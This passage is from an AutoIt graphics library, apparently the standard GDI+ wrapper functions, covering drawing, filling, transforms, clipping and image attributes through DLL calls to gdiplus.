SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_fontprivatecreatecollection() Local $aresult = DllCall($__g_hgdipdll, "int", "GdipNewPrivateFontCollection", "ptr*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[1] EndFunc Func _gdiplus_graphicsclear($hgraphics, $iargb = -16777216) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGraphicsClear", "handle", $hgraphics, "dword", $iargb) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicscreatefromhdc($hdc) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCreateFromHDC", "handle", $hdc, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[2] EndFunc Func _gdiplus_graphicscreatefromhwnd($hwnd) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCreateFromHWND", "hwnd", $hwnd, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[2] EndFunc Func _gdiplus_graphicsdispose($hgraphics) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipDeleteGraphics", "handle", $hgraphics) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicsdrawarc($hgraphics, $nx, $ny, $nwidth, $nheight, $fstartangle, $fsweepangle, $hpen = 0) __gdiplus_pendefcreate($hpen) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipDrawArc", "handle", $hgraphics, "handle", $hpen, "float", $nx, "float", $ny, "float", $nwidth, "float", $nheight, "float", $fstartangle, "float", $fsweepangle) __gdiplus_pendefdispose() If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicsdrawbezier($hgraphics, $nx1, $ny1, $nx2, $ny2, $nx3, $ny3, $nx4, $ny4, $hpen = 0) __gdiplus_pendefcreate($hpen) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipDrawBezier", "handle", $hgraphics, "handle", $hpen, "float", $nx1, "float", $ny1, "float", $nx2, "float", $ny2, "float", $nx3, "float", $ny3, "float", $nx4, "float", $ny4) __gdiplus_pendefdispose() If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicsdrawclosedcurve($hgraphics, $apoints, $hpen = 0) Local $icount = $apoints[0][0] Local $tpoints = DllStructCreate("float[" & $icount * 2 & "]") For $ii = 1 To $icount DllStructSetData($tpoints, 1, $apoints[$ii][0], (($ii - 1) * 2) + 1) DllStructSetData($tpoints, 1, $apoints[$ii][1], (($ii - 1) * 2) + 2) Next __gdiplus_pendefcreate($hpen) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipDrawClosedCurve", "handle", $hgraphics, "handle", $hpen, "struct*", $tpoints, "int", $icount) __gdiplus_pendefdispose() If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicsdrawclosedcurve2($hgraphics, $apoints, $ntension, $hpen = 0) Local $ii, $icount, $tpoints, $aresult __gdiplus_pendefcreate($hpen) $icount = $apoints[0][0] $tpoints = DllStructCreate("float[" & $icount * 2 & "]") For $ii = 1 To $icount DllStructSetData($tpoints, 1, $apoints[$ii][0], (($ii - 1) * 2) + 1) DllStructSetData($tpoints, 1, $apoints[$ii][1], (($ii - 1) * 2) + 2) Next $aresult = DllCall($__g_hgdipdll, "int", "GdipDrawClosedCurve2", "handle", $hgraphics, "handle", $hpen, "struct*", $tpoints, "int", $icount, "float", $ntension) __gdiplus_pendefdispose() If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicsdrawcurve($hgraphics, $apoints, $hpen = 0) Local $icount = $apoints[0][0] Local $tpoints = DllStructCreate("float[" & $icount * 2 & "]") For $ii = 1 To $icount DllStructSetData($tpoints, 1, $apoints[$ii][0], (($ii - 1) * 2) + 1) DllStructSetData($tpoints, 1, $apoints[$ii][1], (($ii - 1) * 2) + 2) Next __gdiplus_pendefcreate($hpen) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipDrawCurve", "handle", $hgraphics, "handle", $hpen, "struct*", $tpoints, "int", $icount) __gdiplus_pendefdispose() If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicsdrawcurve2($hgraphics, $apoints, $ntension, $hpen = 0) Local $ii, $icount, $tpoints, $aresult __gdiplus_pendefcreate($hpen) $icount = $apoints[0][0] $tpoints = DllStructCreate("float[" & $icount * 2 & "]") For $ii = 1 To $icount DllStructSetData($tpoints, 1, $apoints[$ii][0], (($ii - 1) * 2) + 1) DllStructSetData($tpoints, 1, $apoints[$ii][1], (($ii - 1) * 2) + 2) Next $aresult = DllCall($__g_hgdipdll, "int", "GdipDrawCurve2", "handle", $hgraphics, "handle", $hpen, "struct*", $tpoints, "int", $icount, "float", $ntension) __gdiplus_pendefdispose() If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicsdrawellipse($hgraphics, $nx, $ny, $nwidth, $nheight, $hpen = 0) __gdiplus_pendefcreate($hpen) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipDrawEllipse", "handle", $hgraphics, "handle", $hpen, "float", $nx, "float", $ny, "float", $nwidth, "float", $nheight) __gdiplus_pendefdispose() If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicsdrawimage($hgraphics, $himage, $nx, $ny) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipDrawImage", "handle", $hgraphics, "handle", $himage, "float", $nx, "float", $ny) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicsdrawimagepointsrect($hgraphics, $himage, $nulx, $nuly, $nurx, $nury, $nllx, $nlly, $nsrcx, $nsrcy, $nsrcwidth, $nsrcheight, $himageattributes = 0, $iunit = 2) Local $tpoints = DllStructCreate("float X; float Y; float X2; float Y2; float X3; float Y3;") DllStructSetData($tpoints, "X", $nulx) DllStructSetData($tpoints, "Y", $nuly) DllStructSetData($tpoints, "X2", $nurx) DllStructSetData($tpoints, "Y2", $nury) DllStructSetData($tpoints, "X3", $nllx) DllStructSetData($tpoints, "Y3", $nlly) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipDrawImagePointsRect", "handle", $hgraphics, "handle", $himage, "struct*", $tpoints, "int", 3, "float", $nsrcx, "float", $nsrcy, "float", $nsrcwidth, "float", $nsrcheight, "int", $iunit, "handle", $himageattributes, "ptr", 0, "ptr", 0) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicsdrawimagerect($hgraphics, $himage, $nx, $ny, $nw, $nh) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipDrawImageRect", "handle", $hgraphics, "handle", $himage, "float", $nx, "float", $ny, "float", $nw, "float", $nh) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicsdrawimagerectrect($hgraphics, $himage, $nsrcx, $nsrcy, $nsrcwidth, $nsrcheight, $ndstx, $ndsty, $ndstwidth, $ndstheight, $pattributes = 0, $iunit = 2) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipDrawImageRectRect", "handle", $hgraphics, "handle", $himage, "float", $ndstx, "float", $ndsty, "float", $ndstwidth, "float", $ndstheight, "float", $nsrcx, "float", $nsrcy, "float", $nsrcwidth, "float", $nsrcheight, "int", $iunit, "handle", $pattributes, "ptr", 0, "ptr", 0) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicsdrawline($hgraphics, $nx1, $ny1, $nx2, $ny2, $hpen = 0) __gdiplus_pendefcreate($hpen) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipDrawLine", "handle", $hgraphics, "handle", $hpen, "float", $nx1, "float", $ny1, "float", $nx2, "float", $ny2) __gdiplus_pendefdispose() If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicsdrawpath($hgraphics, $hpath, $hpen = 0) __gdiplus_pendefcreate($hpen) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipDrawPath", "handle", $hgraphics, "handle", $hpen, "handle", $hpath) __gdiplus_pendefdispose() If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicsdrawpie($hgraphics, $nx, $ny, $nwidth, $nheight, $fstartangle, $fsweepangle, $hpen = 0) __gdiplus_pendefcreate($hpen) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipDrawPie", "handle", $hgraphics, "handle", $hpen, "float", $nx, "float", $ny, "float", $nwidth, "float", $nheight, "float", $fstartangle, "float", $fsweepangle) __gdiplus_pendefdispose() If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicsdrawpolygon($hgraphics, $apoints, $hpen = 0) Local $icount = $apoints[0][0] Local $tpoints = DllStructCreate("float[" & $icount * 2 & "]") For $ii = 1 To $icount DllStructSetData($tpoints, 1, $apoints[$ii][0], (($ii - 1) * 2) + 1) DllStructSetData($tpoints, 1, $apoints[$ii][1], (($ii - 1) * 2) + 2) Next __gdiplus_pendefcreate($hpen) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipDrawPolygon", "handle", $hgraphics, "handle", $hpen, "struct*", $tpoints, "int", $icount) __gdiplus_pendefdispose() If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicsdrawrect($hgraphics, $nx, $ny, $nwidth, $nheight, $hpen = 0) __gdiplus_pendefcreate($hpen) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipDrawRectangle", "handle", $hgraphics, "handle", $hpen, "float", $nx, "float", $ny, "float", $nwidth, "float", $nheight) __gdiplus_pendefdispose() If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicsdrawstring($hgraphics, $sstring, $nx, $ny, $sfont = "Arial", $fsize = 10, $iformat = 0) Local $hbrush = _gdiplus_brushcreatesolid() Local $hformat = _gdiplus_stringformatcreate($iformat) Local $hfamily = _gdiplus_fontfamilycreate($sfont) Local $hfont = _gdiplus_fontcreate($hfamily, $fsize) Local $tlayout = _gdiplus_rectfcreate($nx, $ny, 0, 0) Local $ainfo = _gdiplus_graphicsmeasurestring($hgraphics, $sstring, $hfont, $tlayout, $hformat) If @error Then Return SetError(@error, @extended, 0) Local $aresult = _gdiplus_graphicsdrawstringex($hgraphics, $sstring, $hfont, $ainfo[0], $hformat, $hbrush) Local $ierror = @error, $iextended = @extended _gdiplus_fontdispose($hfont) _gdiplus_fontfamilydispose($hfamily) _gdiplus_stringformatdispose($hformat) _gdiplus_brushdispose($hbrush) Return SetError($ierror, $iextended, $aresult) EndFunc Func _gdiplus_graphicsdrawstringex($hgraphics, $sstring, $hfont, $tlayout, $hformat, $hbrush) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipDrawString", "handle", $hgraphics, "wstr", $sstring, "int", -1, "handle", $hfont, "struct*", $tlayout, "handle", $hformat, "handle", $hbrush) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicsfillclosedcurve($hgraphics, $apoints, $hbrush = 0) Local $icount = $apoints[0][0] Local $tpoints = DllStructCreate("float[" & $icount * 2 & "]") For $ii = 1 To $icount DllStructSetData($tpoints, 1, $apoints[$ii][0], (($ii - 1) * 2) + 1) DllStructSetData($tpoints, 1, $apoints[$ii][1], (($ii - 1) * 2) + 2) Next __gdiplus_brushdefcreate($hbrush) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipFillClosedCurve", "handle", $hgraphics, "handle", $hbrush, "struct*", $tpoints, "int", $icount) __gdiplus_brushdefdispose() If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicsfillclosedcurve2($hgraphics, $apoints, $ntension, $hbrush = 0, $ifillmode = 0) Local $ii, $icount, $tpoints, $aresult __gdiplus_brushdefcreate($hbrush) $icount = $apoints[0][0] $tpoints = DllStructCreate("float[" & $icount * 2 & "]") For $ii = 1 To $icount DllStructSetData($tpoints, 1, $apoints[$ii][0], (($ii - 1) * 2) + 1) DllStructSetData($tpoints, 1, $apoints[$ii][1], (($ii - 1) * 2) + 2) Next $aresult = DllCall($__g_hgdipdll, "int", "GdipFillClosedCurve2", "handle", $hgraphics, "handle", $hbrush, "struct*", $tpoints, "int", $icount, "float", $ntension, "int", $ifillmode) __gdiplus_brushdefdispose() If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicsfillellipse($hgraphics, $nx, $ny, $nwidth, $nheight, $hbrush = 0) __gdiplus_brushdefcreate($hbrush) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipFillEllipse", "handle", $hgraphics, "handle", $hbrush, "float", $nx, "float", $ny, "float", $nwidth, "float", $nheight) __gdiplus_brushdefdispose() If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicsfillpath($hgraphics, $hpath, $hbrush = 0) __gdiplus_brushdefcreate($hbrush) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipFillPath", "handle", $hgraphics, "handle", $hbrush, "handle", $hpath) __gdiplus_brushdefdispose() If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicsfillpie($hgraphics, $nx, $ny, $nwidth, $nheight, $fstartangle, $fsweepangle, $hbrush = 0) __gdiplus_brushdefcreate($hbrush) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipFillPie", "handle", $hgraphics, "handle", $hbrush, "float", $nx, "float", $ny, "float", $nwidth, "float", $nheight, "float", $fstartangle, "float", $fsweepangle) __gdiplus_brushdefdispose() If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicsfillpolygon($hgraphics, $apoints, $hbrush = 0) Local $icount = $apoints[0][0] Local $tpoints = DllStructCreate("float[" & $icount * 2 & "]") For $ii = 1 To $icount DllStructSetData($tpoints, 1, $apoints[$ii][0], (($ii - 1) * 2) + 1) DllStructSetData($tpoints, 1, $apoints[$ii][1], (($ii - 1) * 2) + 2) Next __gdiplus_brushdefcreate($hbrush) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipFillPolygon", "handle", $hgraphics, "handle", $hbrush, "struct*", $tpoints, "int", $icount, "int", "FillModeAlternate") __gdiplus_brushdefdispose() If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicsfillrect($hgraphics, $nx, $ny, $nwidth, $nheight, $hbrush = 0) __gdiplus_brushdefcreate($hbrush) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipFillRectangle", "handle", $hgraphics, "handle", $hbrush, "float", $nx, "float", $ny, "float", $nwidth, "float", $nheight) __gdiplus_brushdefdispose() If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicsfillregion($hgraphics, $hregion, $hbrush = 0) __gdiplus_brushdefcreate($hbrush) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipFillRegion", "handle", $hgraphics, "handle", $hbrush, "handle", $hregion) __gdiplus_brushdefdispose() If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicsgetcompositingmode($hgraphics) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetCompositingMode", "handle", $hgraphics, "int*", 0) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] Then Return SetError(10, $aresult[0], -1) Return $aresult[2] EndFunc Func _gdiplus_graphicsgetcompositingquality($hgraphics) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetCompositingQuality", "handle", $hgraphics, "int*", 0) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] Then Return SetError(10, $aresult[0], -1) Return $aresult[2] EndFunc Func _gdiplus_graphicsgetdc($hgraphics) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetDC", "handle", $hgraphics, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[2] EndFunc Func _gdiplus_graphicsgetinterpolationmode($hgraphics) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetInterpolationMode", "handle", $hgraphics, "int*", 0) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] Then Return SetError(10, $aresult[0], -1) Return $aresult[2] EndFunc Func _gdiplus_graphicsgetsmoothingmode($hgraphics) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetSmoothingMode", "handle", $hgraphics, "int*", 0) If @error Then Return SetError(@error, @extended, -1) If $aresult[0] Then Return SetError(10, $aresult[0], -1) Switch $aresult[2] Case $gdip_smoothingmode_none Return 0 Case $gdip_smoothingmode_highquality, $gdip_smoothingmode_antialias8x4 Return 1 Case $gdip_smoothingmode_antialias8x8 Return 2 Case Else Return 0 EndSwitch EndFunc Func _gdiplus_graphicsgettransform($hgraphics, $hmatrix) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetWorldTransform", "handle", $hgraphics, "handle", $hmatrix) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicsmeasurecharacterranges($hgraphics, $sstring, $hfont, $tlayout, $hstringformat) Local $icount = _gdiplus_stringformatgetmeasurablecharacterrangecount($hstringformat) If @error Then Return SetError(@error, @extended, 0) Local $tregions = DllStructCreate("handle[" & $icount & "]") Local $aregions[$icount + 1] = [$icount] For $ii = 1 To $icount $aregions[$ii] = _gdiplus_regioncreate() DllStructSetData($tregions, 1, $aregions[$ii], $ii) Next DllCall($__g_hgdipdll, "int", "GdipMeasureCharacterRanges", "handle", $hgraphics, "wstr", $sstring, "int", -1, "hwnd", $hfont, "struct*", $tlayout, "handle", $hstringformat, "int", $icount, "struct*", $tregions) Local $ierror = @error, $iextended = @extended If $ierror Then For $ii = 1 To $icount _gdiplus_regiondispose($aregions[$ii]) Next Return SetError($ierror + 10, $iextended, 0) EndIf Return $aregions EndFunc Func _gdiplus_graphicsmeasurestring($hgraphics, $sstring, $hfont, $tlayout, $hformat) Local $trectf = DllStructCreate($taggdiprectf) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipMeasureString", "handle", $hgraphics, "wstr", $sstring, "int", -1, "handle", $hfont, "struct*", $tlayout, "handle", $hformat, "struct*", $trectf, "int*", 0, "int*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Local $ainfo[3] $ainfo[0] = $trectf $ainfo[1] = $aresult[8] $ainfo[2] = $aresult[9] Return $ainfo EndFunc Func _gdiplus_graphicsreleasedc($hgraphics, $hdc) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipReleaseDC", "handle", $hgraphics, "handle", $hdc) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[2] EndFunc Func _gdiplus_graphicsresetclip($hgraphics) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipResetClip", "handle", $hgraphics) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicsresettransform($hgraphics) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipResetWorldTransform", "handle", $hgraphics) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicsrestore($hgraphics, $istate) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipRestoreGraphics", "handle", $hgraphics, "uint", $istate) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicsrotatetransform($hgraphics, $fangle, $iorder = 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipRotateWorldTransform", "handle", $hgraphics, "float", $fangle, "int", $iorder) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicssave($hgraphics) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSaveGraphics", "handle", $hgraphics, "uint*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[2] EndFunc Func _gdiplus_graphicsscaletransform($hgraphics, $fscalex, $fscaley, $iorder = 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipScaleWorldTransform", "handle", $hgraphics, "float", $fscalex, "float", $fscaley, "int", $iorder) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicssetclippath($hgraphics, $hpath, $icombinemode = 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetClipPath", "handle", $hgraphics, "handle", $hpath, "int", $icombinemode) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicssetcliprect($hgraphics, $nx, $ny, $nwidth, $nheight, $icombinemode = 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetClipRect", "handle", $hgraphics, "float", $nx, "float", $ny, "float", $nwidth, "float", $nheight, "int", $icombinemode) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicssetclipregion($hgraphics, $hregion, $icombinemode = 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetClipRegion", "handle", $hgraphics, "handle", $hregion, "int", $icombinemode) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicssetcompositingmode($hgraphics, $icompositionmode) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetCompositingMode", "handle", $hgraphics, "int", $icompositionmode) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicssetcompositingquality($hgraphics, $icompositionquality) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetCompositingQuality", "handle", $hgraphics, "int", $icompositionquality) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicssetinterpolationmode($hgraphics, $iinterpolationmode) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetInterpolationMode", "handle", $hgraphics, "int", $iinterpolationmode) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicssetpixeloffsetmode($hgraphics, $ipixeloffsetmode) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetPixelOffsetMode", "handle", $hgraphics, "int", $ipixeloffsetmode) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicssetsmoothingmode($hgraphics, $ismooth) If $ismooth < $gdip_smoothingmode_default OR $ismooth > $gdip_smoothingmode_antialias8x8 Then $ismooth = $gdip_smoothingmode_default Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetSmoothingMode", "handle", $hgraphics, "int", $ismooth) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicssettextrenderinghint($hgraphics, $itextrenderinghint) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetTextRenderingHint", "handle", $hgraphics, "int", $itextrenderinghint) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicssettransform($hgraphics, $hmatrix) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetWorldTransform", "handle", $hgraphics, "handle", $hmatrix) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_graphicstransformpoints($hgraphics, ByRef $apoints, $icoordspaceto = 0, $icoordspacefrom = 1) Local $icount = $apoints[0][0] Local $tpoints = DllStructCreate("float[" & $icount * 2 & "]") For $ii = 1 To $icount DllStructSetData($tpoints, 1, $apoints[$ii][0], ($ii - 1) * 2 + 1) DllStructSetData($tpoints, 1, $apoints[$ii][1], ($ii - 1) * 2 + 2) Next Local $aresult = DllCall($__g_hgdipdll, "int", "GdipTransformPoints", "handle", $hgraphics, "int", $icoordspaceto, "int", $icoordspacefrom, "struct*", $tpoints, "int", $icount) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) For $ii = 1 To $icount $apoints[$ii][0] = DllStructGetData($tpoints, 1, ($ii - 1) * 2 + 1) $apoints[$ii][1] = DllStructGetData($tpoints, 1, ($ii - 1) * 2 + 2) Next Return True EndFunc Func _gdiplus_graphicstranslatetransform($hgraphics, $ndx, $ndy, $iorder = 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipTranslateWorldTransform", "handle", $hgraphics, "float", $ndx, "float", $ndy, "int", $iorder) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_hatchbrushcreate($ihatchstyle = 0, $iargbforeground = -1, $iargbbackground = -1) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCreateHatchBrush", "int", $ihatchstyle, "uint", $iargbforeground, "uint", $iargbbackground, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[4] EndFunc Func _gdiplus_hiconcreatefrombitmap($hbitmap) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCreateHICONFromBitmap", "handle", $hbitmap, "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[2] EndFunc Func _gdiplus_imageattributescreate() Local $aresult = DllCall($__g_hgdipdll, "int", "GdipCreateImageAttributes", "handle*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Return $aresult[1] EndFunc Func _gdiplus_imageattributesdispose($himageattributes) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipDisposeImageAttributes", "handle", $himageattributes) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_imageattributessetcolorkeys($himageattributes, $icoloradjusttype = 0, $benable = False, $iargblow = 0, $iargbhigh = 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetImageAttributesColorKeys", "handle", $himageattributes, "int", $icoloradjusttype, "int", $benable, "uint", $iargblow, "uint", $iargbhigh) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_imageattributessetcolormatrix($himageattributes, $icoloradjusttype = 0, $benable = False, $tclrmatrix = 0, $tgraymatrix = 0, $icolormatrixflags = 0) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipSetImageAttributesColorMatrix", "handle", $himageattributes, "int", $icoloradjusttype, "int", $benable, "struct*", $tclrmatrix, "struct*", $tgraymatrix, "int", $icolormatrixflags) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_imagedispose($himage) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipDisposeImage", "handle", $himage) If @error Then Return SetError(@error, @extended, False) If $aresult[0] Then Return SetError(10, $aresult[0], False) Return True EndFunc Func _gdiplus_imagegetdimension($himage) Local $aresult = DllCall($__g_hgdipdll, "int", "GdipGetImageDimension", "handle", $himage, "float*", 0, "float*", 0) If @error Then Return SetError(@error, @extended, 0) If $aresult[0] Then Return SetError(10, $aresult[0], 0) Local $aimgdim[2] = [$aresult[2], $aresult[3]] Return $aimgdim EndFunc Func _gdiplus_imagegetflags($himage) Local $aflag[2] = [0, ""] If ($himage = -1) OR (NOT $himage) Then Return SetError(11, 0, $aflag) Local $aimageflags[13][2] = [["Pixel data Cacheable", $gdip_imageflags_caching], ["Pixel data read-only", $gdip_imageflags_readonly], ["Pixel size in image", $gdip_imageflags_hasrealpixelsize], ["DPI info in image", $gdip_imageflags_hasrealdpi], ["YCCK color space", $gdip_imageflags_colorspace_ycck], ["YCBCR color space", $gdip_imageflags_colorspace_ycbcr], ["Grayscale image", $gdip_imageflags_colorspace_gray], ["CMYK color space", $gdip_imageflags_colorspace_cmyk], ["RGB color space", 